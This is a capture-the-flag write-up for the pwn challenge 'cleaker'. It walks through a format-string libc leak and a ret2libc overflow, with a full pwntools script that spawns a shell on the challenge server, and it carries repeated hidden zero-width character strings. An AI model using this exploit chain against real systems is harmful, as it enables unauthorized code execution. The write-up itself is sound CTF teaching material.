← Back to Writeups
CUSTOMMediumpwn

cleaker (Mic Check 10)

XESXOR9/2/20264 min read
#pwn#custom#medium#format_string_leak#io_stdin_pointer_leak#libc_base_recovery#ret2libc#stack_alignment_ret_gadget#linux

cleaker (Mic Check 10)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: format_string_leak, io_stdin_pointer_leak, libc_base_recovery, ret2libc, stack_alignment_ret_gadget

Summary

Task: NON-PIE x86-64 ELF with a printf(buf) format-string leak followed by a second gets() stack overflow; ASLR is on. Solution: leak IO_2_1_stdin via %3$p to recover libc base, then ret2libc with a single extra ret gadget for 16-byte movaps stack alignment under glibc 2.31.

cleaker (Mic Check 10) — pwn_spbctf

Description

ASLR не помеха, особенно если ты хорошо слушал лекцию. (ASLR is no obstacle, especially if you listened well to the lecture.)

Author: Lex (@b1n4r9). Remote: nc 109.233.56.90 11674. A libc-2.31.so is provided (md5 1ec728d58f7fc0d302119e9bb53050f8, Ubuntu glibc 2.31).

64-bit x86-64 ELF, NON-PIE (base 0x400000), NX enabled, no stack canary, Partial RELRO. ASLR is ON for the service, so the libc base is randomized on every run. Goal: pop a shell and read the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

main (@0x401152) does the following:

  1. add rsp,-0x80 — buffer buf sits at rbp-0x80.
  2. printf("Use printf power to find some libc function on stack:").
  3. gets(buf) — reads our input.
  4. printf(buf) — prints our buffer as the format string → classic format-string leak primitive.
  5. putchar('\n').
  6. printf("Now use gets power to make your ret2libc:").
  7. gets(buf) again — unbounded stack overflow.
  8. leave ; ret.

Key facts:

  • In-binary gadget g_pop_rdi @ 0x4011c0 = pop rdi ; ret. A bare ret is at 0x401016.
  • Offset from buf to the saved return address on the second gets is 0x88 (buf @ rbp-0x80, saved RIP @ rbp+8).
  • RIP control was verified by overwriting the return with _start (0x401070): the program restarted and reprinted the first banner. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Because the binary is NON-PIE, all gadgets (pop rdi, ret) have fixed addresses regardless of ASLR. The only randomized component is libc — which the format-string leak defeats. This is the "leak then overwrite" pattern hinted at by "if you listened well to the lecture."

Solution

Stage 1 — defeat ASLR via format-string _IO_2_1_stdin_ leak

Send a format string at the first gets. %3$p leaks a pointer to _IO_2_1_stdin_ — recognizable because its low 12 bits are 0x980 (it matches _IO_2_1_stdin_ = 0x1eb980 in the provided libc). Then: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

libc_base = leak - 0x1eb980      # must be page-aligned

(%1$p leaks base + 0x1eba03, also inside the stdin FILE struct, which cross-confirms the base.) Parse the leaked value from the echo that appears between the two prompts (after "...on stack:", before "...ret2libc:").

Stage 2 — ret2libc

At the second gets, overflow 0x88 bytes and chain:

system = libc_base + 0x55410
binsh  = libc_base + 0x1b75aa     # "/bin/sh"
payload = b'A'*0x88 + p64(RET=0x401016) + p64(POP_RDI=0x4011c0) + p64(binsh) + p64(system)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The single leading ret (0x401016) is required for 16-byte stack alignment (see the debugging lesson below). After the shell opens, cat /flag* yields the flag (service runs as uid=1000(ctf)).

Full solve script (exp_cleaker.py)

python
#!/usr/bin/env python3
from pwn import *
context.arch='amd64'; context.log_level='info'
HOST,PORT='109.233.56.90',11674
libc=ELF('cleaker_libc-2.31.so')   # md5 1ec728d58f7fc0d302119e9bb53050f8 (Ubuntu glibc 2.31)
POP_RDI=0x4011c0   # g_pop_rdi (in-binary, NON-PIE)
RET=0x401016
io=remote(HOST,PORT)
# stage 1: format-string leak. %3$p leaks _IO_2_1_stdin_ (low12 0x980) -> libc base
io.recvuntil(b'on stack:')
io.sendline(b'X%3$p')
d=io.recvuntil(b'ret2libc:')
leak=int(d.split(b'X')[1].split(b'\n')[0],16)
base=leak-libc.sym['_IO_2_1_stdin_']
assert base&0xfff==0, hex(base)
system=base+libc.sym['system']
binsh=base+next(libc.search(b'/bin/sh\x00'))
log.success("base %#x system %#x binsh %#x"%(base,system,binsh))
# stage 2: gets overflow (buf rbp-0x80, ret offset 0x88). Need a ret for 16-byte alignment.
payload=b'A'*0x88 + p64(RET) + flat(POP_RDI, binsh, system)
io.sendline(payload)
import time; time.sleep(0.6)
io.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null; id')
time.sleep(1)
print(io.recvrepeat(2).decode(errors='replace'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical debugging lesson — movaps stack alignment

The exploit initially "failed" at every offset (no shell, only the leftover prompt byte) even though RIP control was already verified. The chain addresses were all correct.

Root cause: stack alignment. Inside system() → do_system(), glibc executes a movaps instruction that faults (SIGSEGV) when rsp is not 16-byte aligned at the call site. The fix is to insert exactly one extra ret gadget before the ROP chain to shift rsp by 8. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

An alignment sweep with 0/1/2/3 leading rets proved the off-by-8 requirement:

leading retsresult
0segfault
1shell
2segfault
3shell

Takeaway: in a glibc-2.31 ret2libc, always add a single ret gadget for alignment. If system() crashes despite a verifiably correct chain, suspect movaps 16-byte misalignment first. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍